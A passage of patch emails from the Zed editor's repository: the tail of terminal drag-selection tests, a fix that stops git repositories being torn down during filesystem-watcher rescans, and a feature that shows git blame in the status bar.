+        terminal.update(cx, |terminal, cx| {
+            left_mouse_down_at(terminal, point(px(50.0), px(10.0)), cx);
+            terminal.events.clear();
+
+            // One pixel of movement is below the drag threshold.
+            left_mouse_drag_to(terminal, point(px(51.0), px(10.0)), cx);
+
+            assert!(
+                !terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::UpdateSelection(_))),
+                "a sub-threshold click jitter should not start a selection"
+            );
+            assert!(terminal.selection_phase == SelectionPhase::Ended);
+        });
+    }
+
+    /// A deliberate drag past the threshold must still start a selection.
+    #[gpui::test]
+    async fn test_terminal_deliberate_drag_starts_selection(cx: &mut TestAppContext) {
+        let terminal = init_ctrl_click_hyperlink_test(cx, b"hello world\r\n");
+
+        terminal.update(cx, |terminal, cx| {
+            left_mouse_down_at(terminal, point(px(50.0), px(10.0)), cx);
+            terminal.events.clear();
+
+            // Well beyond the drag threshold.
+            left_mouse_drag_to(terminal, point(px(90.0), px(10.0)), cx);
+
+            assert!(
+                terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::UpdateSelection(_))),
+                "a deliberate drag should start a selection"
+            );
+            assert!(terminal.selection_phase == SelectionPhase::Selecting);
+        });
+    }
+
     #[gpui::test]
     async fn test_basic_terminal(cx: &mut TestAppContext) {
         cx.executor().allow_parking();

From cd7f1a0fb18dd6f2474fbb84c6d6a19cce72ec76 Mon Sep 17 00:00:00 2001
From: Remco Smits <djsmits12@gmail.com>
Date: Mon, 29 Jun 2026 07:05:26 +0200
Subject: [PATCH 141/772] worktree: Avoid dropping git repositories during
 watcher rescans (#59976)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Related to #59610.

# Objective

When the filesystem watcher loses sync (common on macOS under heavy
churn, e.g. a dev build constantly rewriting `target/` and `.git/`), it
forces a recursive rescan of the worktree root. That rescan removes the
whole subtree from the snapshot before re-scanning it, and
`remove_path_from_snapshot` was unconditionally pruning the worktree's
git repositories along with it.

Because the scanner publishes intermediate snapshots while it works, a
snapshot could be published in the window after the repository was
pruned but before `.git` was re-scanned. The `GitStore` would see the
repository as removed, tear it down, and then re-create it with a fresh
`RepositoryId` once it reappeared — churning the id on every watcher
overflow and spamming `RepositoryUpdated` events to all consumers (git
panel, git graph, blame, etc.).

Here some debug logs,
**See** that the **repoId** inside the git graph event is different and
is **8** now, even though I only have one repository and didn't do any
git related updates.

```
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for Native; scheduling rescans for 11 registrations
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 WARN  [fs::fs_watcher] filesystem watcher lost sync for many files, not logging more
2026-06-26T18:38:44+02:00 INFO  [git::repository] opening git repository at "/Users/remcosmits/Documents/code/zed/.git" using git binary "/opt/homebrew/bin/git"
2026-06-26T18:38:44+02:00 ERROR [crates/git_ui/src/git_panel.rs:3892] oneshot canceled
2026-06-26T18:38:44+02:00 ERROR [crates/git_ui/src/git_panel.rs:3892] oneshot canceled
2026-06-26T18:38:44+02:00 ERROR [crates/git_ui/src/git_panel.rs:3892] oneshot canceled
2026-06-26T18:38:44+02:00 ERROR [crates/git_ui/src/git_panel.rs:3892] oneshot canceled
2026-06-26T18:38:44+02:00 ERROR [crates/zed/src/main.rs:1991] Is a directory (os error 21)
2026-06-26T18:38:44+02:00 INFO  [project::prettier_store] Prettier config file ".prettierrc" changed, reloading prettier instances for worktree 1
2026-06-26T18:38:45+02:00 INFO  [project::prettier_store] Prettier config file ".prettierrc" changed, reloading prettier instances for worktree 1
2026-06-26T18:38:45+02:00 INFO  [git::repository] opening git repository at "/Users/remcosmits/Documents/code/zed/.git" using git binary "/opt/homebrew/bin/git"
2026-06-26T18:38:45+02:00 ERROR [crates/git_ui/src/git_panel.rs:3892] oneshot canceled
2026-06-26T18:38:45+02:00 ERROR [crates/git_ui/src/git_panel.rs:3892] oneshot canceled


[crates/git_ui/src/git_graph.rs:1468:21] &this.repo_id = RepositoryId(
    1,
)
[crates/git_ui/src/git_graph.rs:1468:21] "other repo id" = "other repo id"
[crates/git_ui/src/git_graph.rs:1468:21] &updated_repo_id = RepositoryId(
    8,
)
[crates/git_ui/src/git_graph.rs:1468:21] &this.repo_id = RepositoryId(
    1,
)
[crates/git_ui/src/git_graph.rs:1468:21] "other repo id" = "other repo id"
[crates/git_ui/src/git_graph.rs:1468:21] &updated_repo_id = RepositoryId(
    8,
)
[crates/git_ui/src/git_graph.rs:1468:21] &this.repo_id = RepositoryId(
    1,
)
[crates/git_ui/src/git_graph.rs:1468:21] "other repo id" = "other repo id"
[crates/git_ui/src/git_graph.rs:1468:21] &updated_repo_id = RepositoryId(
    8,
)
[crates/git_ui/src/git_graph.rs:1468:21] &this.repo_id = RepositoryId(
    1,
)
```

## Solution

This change makes `remove_path_from_snapshot` prune git repositories
only when the path was genuinely removed (`metadata == Ok(None)`), not
during a recursive refresh where the subtree is about to be re-scanned.
Stale repositories are still reaped authoritatively against the
filesystem in `update_git_repositories`.

## Testing

It seems to be that I'm the only that can reproduce this issue
@Anthony-Eid tried reproducing this but couldn't.
**Note**: that I dindn't write a regression test since this is a async
timing issue that I couldn't figure out to write a test for.

Steps how I can reproduce this:
1. Run `cargo run`
2. Open `Zed` as only project
3. Open the git graph
4. Open a rust file e.g. `git_graph.rs`
5. CTRL-C inside the terminal to kill Zed
6. Run `cargo run` see that you have git graph open and a rust file,
note that cargo check is doing it's thing.
7. See within a few seconds that Zed's UI flickers (especially the
project panel & nav bar with the selected repo & branch)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

**Note**: This PR only fixes that we don't send as many git store
events, so this results in not having to update the nav bar where the
selected repo & branch on every event (that is duplicated in a way).
Result of that we now also fixed a rare case that the git graph commit
entries where gone, this was because we incremented the **repoId** and
the graph couldn't find the repo anymore with the id that it has stored
on the gitGraph struct itself.

**Before**

See that the nav bar with selected repo & branch flickers and the git
graph commits are empty.


https://github.com/user-attachments/assets/0957be7f-e732-4fd0-a950-29c496b6407d

See that the git panel entries flicker and we have an temporary empty
panel.


https://github.com/user-attachments/assets/3b70e45c-c720-4009-aefa-696986d731b4

**After**

See that the nav bar with selected repo & branch does not flicker
anymore and that the git graph keeps showing the commits.


https://github.com/user-attachments/assets/6e8a74f6-4a8e-4b28-ad30-574c2f33c6d9

See that the git panel does not show an empy state and does not flicker
anymore.


https://github.com/user-attachments/assets/1df7aacf-b337-4b81-b195-e67d8554d9da

---

cc @Anthony-Eid Since we where debugging this yesterday.

Release Notes:

- Fixed git repositories being repeatedly torn down and re-created when
the filesystem watcher forced a rescan, which caused redundant git
status refreshes and UI churn.
---
 crates/worktree/src/worktree.rs | 49 +++++++++++++++++++++++++--------
 1 file changed, 38 insertions(+), 11 deletions(-)

diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 55d161aea6f38f..2711362dd1874c 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -3166,7 +3166,11 @@ impl BackgroundScannerState {
         watcher: &dyn Watcher,
         preserve_repository_watches: bool,
     ) {
-        let removed_descendant_abs_paths = self.remove_path_from_snapshot(path);
+        // When the caller preserves repository watches, it intends to re-scan
+        // this subtree and keep its git repositories; pruning them here would
+        // transiently drop and then re-create them with fresh `RepositoryId`s.
+        let prune_repositories = !preserve_repository_watches;
+        let removed_descendant_abs_paths = self.remove_path_from_snapshot(path, prune_repositories);
         self.unwatch_path(
             watcher,
             path,
@@ -3211,7 +3215,11 @@ impl BackgroundScannerState {
             });
     }
 
-    fn remove_path_from_snapshot(&mut self, path: &RelPath) -> Vec<PathBuf> {
+    fn remove_path_from_snapshot(
+        &mut self,
+        path: &RelPath,
+        prune_repositories: bool,
+    ) -> Vec<PathBuf> {
         log::trace!("background scanner removing path {path:?}");
         let mut new_entries;
         let removed_entries;
@@ -3269,9 +3277,19 @@ impl BackgroundScannerState {
         self.snapshot
             .entries_by_id
             .edit(removed_ids.iter().map(|&id| Edit::Remove(id)).collect(), ());
-        self.snapshot
-            .git_repositories
-            .retain(|id, _| removed_ids.binary_search(id).is_err());
+
+        // Only prune git repositories when the entries are being genuinely
+        // removed. During a recursive refresh (e.g. a watcher-forced rescan),
+        // the subtree is removed and immediately re-scanned; dropping the
+        // repositories here would make them flap, causing the GitStore to
+        // tear them down and re-create them with fresh `RepositoryId`s. Stale
+        // repositories are instead reaped authoritatively (against the actual
+        // filesystem) in `update_git_repositories`.
+        if prune_repositories {
+            self.snapshot
+                .git_repositories
+                .retain(|id, _| removed_ids.binary_search(id).is_err());
+        }
 
         #[cfg(feature = "test-support")]
         self.snapshot.check_invariants(false);
@@ -5256,9 +5274,9 @@ impl BackgroundScanner {
         // detected regardless of the order of the paths.
         let mut paths_to_process = Vec::with_capacity(relative_paths.len());
         for (path, metadata) in relative_paths.iter().zip(metadata.iter()) {
-            let removed_descendant_paths = if matches!(metadata, Ok(None)) || doing_recursive_update
-            {
-                state.remove_path_from_snapshot(path)
+            let path_was_removed = matches!(metadata, Ok(None));
+            let removed_descendant_paths = if path_was_removed || doing_recursive_update {
+                state.remove_path_from_snapshot(path, path_was_removed)
             } else {
                 Vec::new()
             };
@@ -5721,9 +5739,18 @@ impl BackgroundScanner {
                             .is_some()
                     });
 
-            if exists_in_snapshot
-                || matches!(self.fs.metadata(&entry.dot_git_abs_path).await, Ok(Some(_)))
-            {
+            // Only drop a repository when we can positively confirm that its git
+            // directory is gone. `metadata` returns `Ok(None)` for a confirmed
+            // absence, but `Err(_)` for a transient failure (which can happen
+            // under heavy filesystem churn). Treating an error as a deletion
+            // makes the repository flap out of and back into the snapshot,
+            // causing the GitStore to repeatedly tear it down and re-create it
+            // with a fresh `RepositoryId`. So preserve the repository unless the
+            // `.git` entry is confirmed absent.
+            let dot_git_present =
+                !matches!(self.fs.metadata(&entry.dot_git_abs_path).await, Ok(None));
+
+            if exists_in_snapshot || dot_git_present {
                 ids_to_preserve.insert(work_directory_id);
             }
         }

From f2006b20aceff6ad660b6436bd48413388318e34 Mon Sep 17 00:00:00 2001
From: Davit Koshkeli <43637560+Koshkaj@users.noreply.github.com>
Date: Mon, 29 Jun 2026 09:50:31 +0400
Subject: [PATCH 142/772] git: Allow showing inline blame in the status bar
 (#59696)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Add status bar location for inline git blame

## Objective
- Closes #12133 by implementing the VS Code-like behavior for status bar
git blame


## Solution

Adds a VS Code–style option to render the current-line git blame in the
status bar instead of inline at the cursor.

Whats new
- A new location setting: Under the inline_blame configuration, you can
now choose between two options:
- `inline` (Default) — Keeps things exactly as they are, showing the
blame details at the end of your current line.
  - `status_bar` — Moves the blame info down to the bottom status bar.
- The Status Bar Item: When you choose the status bar option, a clean
new button appears at the bottom left of your window. It features a Git
icon, the author's name, how long ago the change was made, and the
commit summary
  - Behaves as it does before, but displayed at a different location
- Clicking the status bar item will instantly open up the full Git
commit details like at vscode
- Settings UI:
- The "Location" control is now a `DynamicItem` nested under "Enabled",
so it only appears when inline blame is enabled.
  - Registers a dropdown renderer for `InlineBlameLocation`.
- Updates `all-settings.md` and `visual-customization.md` for the new
option.

## Testing

- Manually tested both modes by toggling `git.inline_blame.location`
between `inline` and `status_bar`:
  - `inline` keeps the existing behavior unchanged.
- `status_bar` shows the blame for the focused line in the status bar,
hides the inline blame, updates on cursor movement, clears when no
editor is focused, and opens the blame commit on click.
- Verified the settings UI shows the "Location" dropdown only when
inline blame is enabled.
- Tested with `show_commit_summary` toggled when location is
`status_bar` (for inline location, nothing is changed)

Areas that could use more testing:
- Remote (collab) editors ?

Reviewers can test by setting the following in `settings.json` and
moving the cursor across blamed lines:

```json
{
  "git": {
    "inline_blame": {
      "enabled": true,
      "location": "status_bar"
    }
  }
}
```

## Showcase

<details>
  <summary>Click to view showcase</summary>

### Video

https://github.com/user-attachments/assets/6d9f490d-7bf3-473c-9562-8351546dfaf9

### Screenshots
<img width="894" height="749" alt="image"
src="https://github.com/user-attachments/assets/c6a49008-899d-4a0c-9098-1ffb9e28252b"
/>


</details>

Release Notes:

- Added a `git.inline_blame.location` setting to render current-line git
blame in the status bar instead of inline.
---
 assets/settings/default.json           |   6 +-
 crates/editor/src/git.rs               |  34 ++++++-
 crates/git_ui/src/blame_ui.rs          | 117 ++++++++++++++++++++++---
 crates/git_ui/src/git_ui.rs            |   1 +
 crates/project/src/project_settings.rs |  21 +++++
 crates/settings_content/src/project.rs |  26 ++++++
 crates/settings_ui/src/page_data.rs    |  85 +++++++++++++-----
 crates/settings_ui/src/settings_ui.rs  |   1 +
 crates/zed/src/zed.rs                  |   2 +
 docs/src/reference/all-settings.md     |  21 ++++-
 docs/src/visual-customization.md       |   3 +-
 11 files changed, 274 insertions(+), 43 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 67aacf3f87cfdf..8637d3d1b2382b 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -1643,13 +1643,15 @@
     ///
     /// Default: 0
     "gutter_debounce": 0,
-    // Control whether the git blame information is shown inline,
-    // in the currently focused line.
+    // Control whether the git blame information is shown for the currently
+    // focused line, and where it is rendered.
     "inline_blame": {
       "enabled": true,
       // Sets a delay after which the inline blame information is shown.
       // Delay is restarted with every cursor movement.
       "delay_ms": 0,
+      // Where to render the blame information when it is enabled.
+      "location": "inline",
       // The amount of padding between the end of the source line and the start
       // of the inline blame in units of em widths.
       "padding": 7,
diff --git a/crates/editor/src/git.rs b/crates/editor/src/git.rs
index dbe4f073e50f23..7224fa15d4ce26 100644
--- a/crates/editor/src/git.rs
+++ b/crates/editor/src/git.rs
@@ -195,6 +195,36 @@ impl Editor {
         self.blame.as_ref()
     }
 
+    pub fn active_git_blame_entry(&self, cx: &mut App) -> Option<BlameEntry> {
+        if !self.show_git_blame_inline
+            || self.newest_selection_head_on_empty_line(cx)
+            || !self.has_blame_entries(cx)
+        {
+            return None;
+        }
+
+        let blame = self.blame.as_ref()?;
+        let snapshot = self.display_snapshot(cx);
+        let cursor = self.selections.newest::<Point>(&snapshot).head();
+        let (buffer, point) = snapshot.buffer_snapshot().point_to_buffer_point(cursor)?;
+
+        blame
+            .update(cx, |blame, cx| {
+                blame
+                    .blame_for_rows(
+                        &[RowInfo {
+                            buffer_id: Some(buffer.remote_id()),
+                            buffer_row: Some(point.row),
+                            ..Default::default()
+                        }],
+                        cx,
+                    )
+                    .next()
+            })
+            .flatten()
+            .map(|(_, entry)| entry)
+    }
+
     pub fn show_git_blame_gutter(&self) -> bool {
         self.show_git_blame_gutter
     }
@@ -1603,7 +1633,9 @@ impl Editor {
     }
 
     pub(super) fn render_git_blame_inline(&self, window: &Window, cx: &App) -> bool {
-        self.show_git_blame_inline
+        ProjectSettings::get_global(cx).git.inline_blame.location
+            == project::project_settings::InlineBlameLocation::Inline
+            && self.show_git_blame_inline
             && (self.focus_handle.is_focused(window) || self.inline_blame_popover.is_some())
             && !self.newest_selection_head_on_empty_line(cx)
             && self.has_blame_entries(cx)
diff --git a/crates/git_ui/src/blame_ui.rs b/crates/git_ui/src/blame_ui.rs
index 080217e5c53a57..90d5948de5113c 100644
--- a/crates/git_ui/src/blame_ui.rs
+++ b/crates/git_ui/src/blame_ui.rs
@@ -9,7 +9,10 @@ use gpui::{
     TextStyleRefinement, UnderlineStyle, WeakEntity, prelude::*,
 };
 use markdown::{Markdown, MarkdownElement};
-use project::{git_store::Repository, project_settings::ProjectSettings};
+use project::{
+    git_store::Repository,
+    project_settings::{InlineBlameLocation, ProjectSettings},
+};
 use settings::Settings as _;
 use theme_settings::ThemeSettings;
 use time::OffsetDateTime;
@@ -20,6 +23,104 @@ const GIT_BLAME_MAX_AUTHOR_CHARS_DISPLAYED: usize = 20;
 
 pub struct GitBlameRenderer;
 
+fn format_blame_text(blame_entry: &BlameEntry, cx: &App) -> String {
+    let relative_timestamp = blame_entry_relative_timestamp(blame_entry);
+    let author = blame_entry.author.as_deref().unwrap_or_default();
+    let summary_enabled = ProjectSettings::get_global(cx)
+        .git
+        .inline_blame
+        .show_commit_summary;
+
+    match blame_entry.summary.as_ref() {
+        Some(summary) if summary_enabled => {
+            format!("{author}, {relative_timestamp} - {summary}")
+        }
+        _ => format!("{author}, {relative_timestamp}"),
+    }
+}
+
+#[derive(Default)]
+pub struct GitBlameStatus {
+    text: Option<SharedString>,
+    active_editor: Option<Entity<Editor>>,
+    _subscriptions: Vec<Subscription>,
+}
+
+impl GitBlameStatus {
+    fn update(&mut self, editor: Entity<Editor>, _window: &mut Window, cx: &mut Context<Self>) {
+        let inline_blame = ProjectSettings::get_global(cx).git.inline_blame;
+        let text =
+            if inline_blame.enabled && inline_blame.location == InlineBlameLocation::StatusBar {
+                editor
+                    .update(cx, |editor, cx| editor.active_git_blame_entry(cx))
+                    .map(|blame_entry| SharedString::from(format_blame_text(&blame_entry, cx)))
+            } else {
+                None
+            };
+
+        if text != self.text {
+            self.text = text;
+            cx.notify();
+        }
+    }
+}
+
+impl Render for GitBlameStatus {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let inline_blame = ProjectSettings::get_global(cx).git.inline_blame;
+        if !inline_blame.enabled || inline_blame.location != InlineBlameLocation::StatusBar {
+            return div();
+        }
+
+        div().when_some(self.text.clone(), |el, text| {
+            el.child(
+                Button::new("git-blame-status", text.clone())
+                    .label_size(LabelSize::Small)
+                    .start_icon(
+                        Icon::new(IconName::FileGit)
+                            .size(IconSize::Small)
+                            .color(Color::Hint),
+                    )
+                    .on_click(cx.listener(|this, _, window, cx| {
+                        if let Some(editor) = this.active_editor.clone() {
+                            let focus_handle = gpui::Focusable::focus_handle(editor.read(cx), cx);
+                            focus_handle.dispatch_action(
+                                &editor::actions::OpenGitBlameCommit,
+                                window,
+                                cx,
+                            );
+                        }
+                    }))
+                    .tooltip(ui::Tooltip::text(text)),
+            )
+        })
+    }
+}
+
+impl workspace::StatusItemView for GitBlameStatus {
+    fn set_active_pane_item(
+        &mut self,
+        active_pane_item: Option<&dyn workspace::item::ItemHandle>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if let Some(editor) = active_pane_item.and_then(|item| item.act_as::<Editor>(cx)) {
+            self.active_editor = Some(editor.clone());
+            self._subscriptions = vec![cx.observe_in(&editor, window, Self::update)];
+            self.update(editor, window, cx);
+        } else {
+            self.text = None;
+            self.active_editor = None;
+            self._subscriptions.clear();
+            cx.notify();
+        }
+    }
+
+    fn hide_setting(&self, _: &App) -> Option<workspace::HideStatusItem> {
+        None
+    }
+}
+
 impl BlameRenderer for GitBlameRenderer {
     fn max_author_length(&self) -> usize {
         GIT_BLAME_MAX_AUTHOR_CHARS_DISPLAYED
@@ -144,19 +245,7 @@ impl BlameRenderer for GitBlameRenderer {
         blame_entry: BlameEntry,
         cx: &mut App,
     ) -> Option<AnyElement> {
-        let relative_timestamp = blame_entry_relative_timestamp(&blame_entry);
-        let author = blame_entry.author.as_deref().unwrap_or_default();
-        let summary_enabled = ProjectSettings::get_global(cx)
-            .git
-            .inline_blame
-            .show_commit_summary;
-
-        let text = match blame_entry.summary.as_ref() {
-            Some(summary) if summary_enabled => {
-                format!("{}, {} - {}", author, relative_timestamp, summary)
-            }
-            _ => format!("{}, {}", author, relative_timestamp),
-        };
+        let text = format_blame_text(&blame_entry, cx);
 
         Some(
             h_flex()
diff --git a/crates/git_ui/src/git_ui.rs b/crates/git_ui/src/git_ui.rs
index c221b8814e2159..a5dc98c5049cf0 100644
--- a/crates/git_ui/src/git_ui.rs
+++ b/crates/git_ui/src/git_ui.rs
@@ -62,6 +62,7 @@ pub mod worktree_names;
 pub mod worktree_picker;
 pub mod worktree_service;
 
+pub use blame_ui::GitBlameStatus;
 pub use conflict_view::MergeConflictIndicator;
 
 pub fn get_provider_icon(name: &str) -> IconName {
diff --git a/crates/project/src/project_settings.rs b/crates/project/src/project_settings.rs
index f11263a8f704d0..52c2a9c20122dc 100644
--- a/crates/project/src/project_settings.rs
+++ b/crates/project/src/project_settings.rs
@@ -524,6 +524,22 @@ impl From<settings::GitPathStyle> for GitPathStyle {
     }
 }
 
+#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
+pub enum InlineBlameLocation {
+    #[default]
+    Inline,
+    StatusBar,
+}
+
+impl From<settings::InlineBlameLocation> for InlineBlameLocation {
+    fn from(location: settings::InlineBlameLocation) -> Self {
+        match location {
+            settings::InlineBlameLocation::Inline => InlineBlameLocation::Inline,
+            settings::InlineBlameLocation::StatusBar => InlineBlameLocation::StatusBar,
+        }
+    }
+}
+
 #[derive(Clone, Copy, Debug)]
 pub struct InlineBlameSettings {
     /// Whether or not to show git blame data inline in
@@ -536,6 +552,10 @@ pub struct InlineBlameSettings {
     ///
     /// Default: 0
     pub delay_ms: settings::DelayMs,
+    /// Where to render the blame information when enabled.
+    ///
+    /// Default: inline
+    pub location: InlineBlameLocation,
     /// The amount of padding between the end of the source line and the start
     /// of the inline blame in units of columns.
     ///
@@ -664,6 +684,7 @@ impl Settings for ProjectSettings {
                 InlineBlameSettings {
                     enabled: inline.enabled.unwrap(),
                     delay_ms: inline.delay_ms.unwrap(),
+                    location: inline.location.unwrap().into(),
                     padding: inline.padding.unwrap(),
                     min_column: inline.min_column.unwrap(),
                     show_commit_summary: inline.show_commit_summary.unwrap(),
diff --git a/crates/settings_content/src/project.rs b/crates/settings_content/src/project.rs
index 6e62f56ddf3cd2..7f4d8d53912e64 100644
--- a/crates/settings_content/src/project.rs
+++ b/crates/settings_content/src/project.rs
@@ -616,6 +616,28 @@ pub enum GitGutterSetting {
     Hide,
 }
 
+#[derive(
+    Clone,
+    Copy,
+    Debug,
+    PartialEq,
+    Default,
+    Serialize,
+    Deserialize,
+    JsonSchema,
+    MergeFrom,
+    strum::VariantArray,
+    strum::VariantNames,
+)]
+#[serde(rename_all = "snake_case")]
+pub enum InlineBlameLocation {
+    /// Show git blame inline at the current line.
+    #[default]
+    Inline,
+    /// Show git blame in the status bar at the bottom of the window.
+    StatusBar,
+}
+
 #[with_fallible_options]
 #[derive(Clone, Copy, Debug, PartialEq, Default, Serialize, Deserialize, JsonSchema, MergeFrom)]
 #[serde(rename_all = "snake_case")]
@@ -630,6 +652,10 @@ pub struct InlineBlameSettings {
     ///
     /// Default: 0
     pub delay_ms: Option<DelayMs>,
+    /// Where to render the blame information when enabled.
+    ///
+    /// Default: inline
+    pub location: Option<InlineBlameLocation>,
     /// The amount of padding between the end of the source line and the start
     /// of the inline blame in units of columns.
     ///
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 5bdb50b22e8216..f8de55b07bb621 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -7518,32 +7518,75 @@ fn version_control_page() -> SettingsPage {
     fn inline_git_blame_section() -> [SettingsPageItem; 6] {
         [
             SettingsPageItem::SectionHeader("Inline Git Blame"),
-            SettingsPageItem::SettingItem(SettingItem {
-                title: "Enabled",
-                description: "Whether or not to show Git blame data inline in the currently focused line.",
-                field: Box::new(SettingField {
-                    organization_override: None,
-                    json_path: Some("git.inline_blame.enabled"),
-                    pick: |settings_content| {
-                        settings_content
+            SettingsPageItem::DynamicItem(DynamicItem {
+                discriminant: SettingItem {
+                    title: "Enabled",
+                    description: "Whether or not to show Git blame data for the currently focused line.",
+                    field: Box::new(SettingField {
+                        organization_override: None,
+                        json_path: Some("git.inline_blame.enabled"),
+                        pick: |settings_content| {
+                            settings_content
+                                .git
+                                .as_ref()?
+                                .inline_blame
+                                .as_ref()?
+                                .enabled
+                                .as_ref()
+                        },
+                        write: |settings_content, value, _| {
+                            settings_content
+                                .git
+                                .get_or_insert_default()
+                                .inline_blame
+                                .get_or_insert_default()
+                                .enabled = value;
+                        },
+                    }),
+                    metadata: None,
+                    files: USER,
+                },
+                pick_discriminant: |settings_content| {
+                    Some(
+                        *settings_content
                             .git
                             .as_ref()?
                             .inline_blame
                             .as_ref()?
                             .enabled
-                            .as_ref()
-                    },
-                    write: |settings_content, value, _| {
-                        settings_content
-                            .git
-                            .get_or_insert_default()
-                            .inline_blame
-                            .get_or_insert_default()
-                            .enabled = value;
-                    },
-                }),
-                metadata: None,
-                files: USER,
+                            .as_ref()? as usize,
+                    )
+                },
+                fields: vec![
+                    vec![],
+                    vec![SettingItem {
+                        title: "Location",
+                        description: "Where to render Git blame when it is enabled.",
+                        field: Box::new(SettingField {
+                            organization_override: None,
+                            json_path: Some("git.inline_blame.location"),
+                            pick: |settings_content| {
+                                settings_content
+                                    .git
+                                    .as_ref()?
+                                    .inline_blame
+                                    .as_ref()?
+                                    .location
+                                    .as_ref()
+                            },
+                            write: |settings_content, value, _| {
+                                settings_content
+                                    .git
+                                    .get_or_insert_default()
+                                    .inline_blame
+                                    .get_or_insert_default()
+                                    .location = value;
+                            },
+                        }),
+                        metadata: None,
+                        files: USER,
+                    }],
+                ],
             }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Delay",
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index fbc06a7016604d..4847d066bae128 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -545,6 +545,7 @@ fn init_renderers(cx: &mut App) {
         .add_basic_renderer::<settings::GitGutterSetting>(render_dropdown)
         .add_basic_renderer::<settings::GitHunkStyleSetting>(render_dropdown)
         .add_basic_renderer::<settings::GitPathStyle>(render_dropdown)
+        .add_basic_renderer::<settings::InlineBlameLocation>(render_dropdown)
         .add_basic_renderer::<settings::DiagnosticSeverityContent>(render_dropdown)
         .add_basic_renderer::<settings::SeedQuerySetting>(render_dropdown)
         .add_basic_renderer::<settings::DoubleClickInMultibuffer>(render_dropdown)
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 3709a6c4b425c4..d4f3d958304e80 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -599,6 +599,7 @@ pub fn initialize_workspace(app_state: Arc<AppState>, cx: &mut App) {
             cx.new(|_| go_to_line::cursor_position::CursorPosition::new(workspace));
         let line_ending_indicator =
             cx.new(|_| line_ending_selector::LineEndingIndicator::default());
+        let git_blame_status = cx.new(|_| git_ui::GitBlameStatus::default());
         let merge_conflict_indicator =
             cx.new(|cx| git_ui::MergeConflictIndicator::new(workspace, cx));
         workspace.status_bar().update(cx, |status_bar, cx| {
@@ -606,6 +607,7 @@ pub fn initialize_workspace(app_state: Arc<AppState>, cx: &mut App) {
             status_bar.add_left_item(lsp_button, window, cx);
             status_bar.add_left_item(diagnostic_summary, window, cx);
             status_bar.add_left_item(active_file_name, window, cx);
+            status_bar.add_left_item(git_blame_status, window, cx);
             status_bar.add_left_item(merge_conflict_indicator, window, cx);
             status_bar.add_left_item(activity_indicator, window, cx);
             status_bar.add_right_item(edit_prediction_ui, window, cx);
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index 1045c09996a6f8..ebeacf2bb96fb0 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -2325,7 +2325,8 @@ Example:
 {
   "git": {
     "inline_blame": {
-      "enabled": true
+      "enabled": true,
+      "location": "inline"
     }
   }
 }
@@ -2357,7 +2358,19 @@ Example:
 }
 ```
 
-3. Show a commit summary next to the commit date and author:
+3. Show git blame in the status bar at the bottom of the window:
+
+```json [settings]
+{
+  "git": {
+    "inline_blame": {
+      "location": "status_bar"
+    }
+  }
+}
+```
+
+4. Show a commit summary next to the commit date and author:
 
 ```json [settings]
 {
@@ -2369,7 +2382,7 @@ Example:
 }
 ```
 
-4. Use this as the minimum column at which to display inline blame information:
+5. Use this as the minimum column at which to display inline blame information:
 
 ```json [settings]
 {
@@ -2381,7 +2394,7 @@ Example:
 }
 ```
 
-5. Set the padding between the end of the line and the inline blame hint, in ems:
+6. Set the padding between the end of the line and the inline blame hint, in ems:
 
 ```json [settings]
 {
diff --git a/docs/src/visual-customization.md b/docs/src/visual-customization.md
index 91922498486bc4..b58469d12e43d3 100644
--- a/docs/src/visual-customization.md
+++ b/docs/src/visual-customization.md
@@ -247,7 +247,8 @@ TBD: Centered layout related settings
   "git": {
